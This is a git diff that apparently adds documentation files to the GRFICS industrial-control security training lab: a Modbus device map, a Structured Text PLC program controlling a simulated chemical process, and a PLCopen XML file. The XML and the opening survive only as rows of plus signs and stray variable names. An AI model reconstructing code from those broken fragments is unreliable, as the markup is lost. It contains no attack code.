+ + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg new file mode 100644 index 0000000..c4103e8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg @@ -0,0 +1,115 @@ +Num_Devices = "6" + +# Device 0 +device0.name = "feed 1" +device0.protocol = "TCP" +device0.slave_id = "247" +device0.address = "192.168.95.10" +device0.IP_Port = "502" +device0.RTU_Baud_Rate = "" +device0.RTU_Parity = "" +device0.RTU_Data_Bits = "" +device0.RTU_Stop_Bits = "" +device0.Discrete_Inputs_Start = "0" +device0.Discrete_Inputs_Size = "0" +device0.Coils_Start = "0" +device0.Coils_Size = "0" +device0.Input_Registers_Start = "1" +device0.Input_Registers_Size = "2" +device0.Holding_Registers_Start = "1" +device0.Holding_Registers_Size = "1" + +# Device 1 +device1.name = "feed 2" +device1.protocol = "TCP" +device1.slave_id = "247" +device1.address = "192.168.95.11" +device1.IP_Port = "502" +device1.RTU_Baud_Rate = "" +device1.RTU_Parity = "" +device1.RTU_Data_Bits = "" +device1.RTU_Stop_Bits = "" +device1.Discrete_Inputs_Start = "0" +device1.Discrete_Inputs_Size = "0" +device1.Coils_Start = "0" +device1.Coils_Size = "0" +device1.Input_Registers_Start = "1" +device1.Input_Registers_Size = "2" +device1.Holding_Registers_Start = "1" +device1.Holding_Registers_Size = "1" + +# Device 2 +device2.name = "purge" +device2.protocol = "TCP" +device2.slave_id = "247" +device2.address = "192.168.95.12" +device2.IP_Port = "502" +device2.RTU_Baud_Rate = "" +device2.RTU_Parity = "" +device2.RTU_Data_Bits = "" +device2.RTU_Stop_Bits = "" +device2.Discrete_Inputs_Start = "0" +device2.Discrete_Inputs_Size = "0" +device2.Coils_Start = "0" +device2.Coils_Size = "0" +device2.Input_Registers_Start = "1" +device2.Input_Registers_Size = "2" +device2.Holding_Registers_Start = "1" +device2.Holding_Registers_Size = "1" + +# Device 3 +device3.name = "product" +device3.protocol = "TCP" +device3.slave_id = "247" +device3.address = "192.168.95.13" +device3.IP_Port = "502" +device3.RTU_Baud_Rate = "" +device3.RTU_Parity = "" +device3.RTU_Data_Bits = "" +device3.RTU_Stop_Bits = "" +device3.Discrete_Inputs_Start = "0" +device3.Discrete_Inputs_Size = "0" +device3.Coils_Start = "0" +device3.Coils_Size = "0" +device3.Input_Registers_Start = "1" +device3.Input_Registers_Size = "2" +device3.Holding_Registers_Start = "1" +device3.Holding_Registers_Size = "1" + +# Device 4 +device4.name = "tank" +device4.protocol = "TCP" +device4.slave_id = "247" +device4.address = "192.168.95.14" +device4.IP_Port = "502" +device4.RTU_Baud_Rate = "" +device4.RTU_Parity = "" +device4.RTU_Data_Bits = "" +device4.RTU_Stop_Bits = "" +device4.Discrete_Inputs_Start = "0" +device4.Discrete_Inputs_Size = "0" +device4.Coils_Start = "0" +device4.Coils_Size = "0" +device4.Input_Registers_Start = "1" +device4.Input_Registers_Size = "2" +device4.Holding_Registers_Start = "0" +device4.Holding_Registers_Size = "0" + +# Device 5 +device5.name = "analyzer" +device5.protocol = "TCP" +device5.slave_id = "247" +device5.address = "192.168.95.15" +device5.IP_Port = "502" +device5.RTU_Baud_Rate = "" +device5.RTU_Parity = "" +device5.RTU_Data_Bits = "" +device5.RTU_Stop_Bits = "" +device5.Discrete_Inputs_Start = "0" +device5.Discrete_Inputs_Size = "0" +device5.Coils_Start = "0" +device5.Coils_Size = "0" +device5.Input_Registers_Start = "1" +device5.Input_Registers_Size = "3" +device5.Holding_Registers_Start = "0" +device5.Holding_Registers_Size = "0" diff --git a/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st new file mode 100644 index 0000000..02d6438 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st @@ -0,0 +1,480 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + run_bit0 := NOT(run_bit); + MOVE99_OUT := MOVE(EN := NOT(run_bit0), IN := 0, ENO => MOVE99_ENO); + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml new file mode 100644 index 0000000..6d8212b --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml @@ -0,0 +1,5332 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + 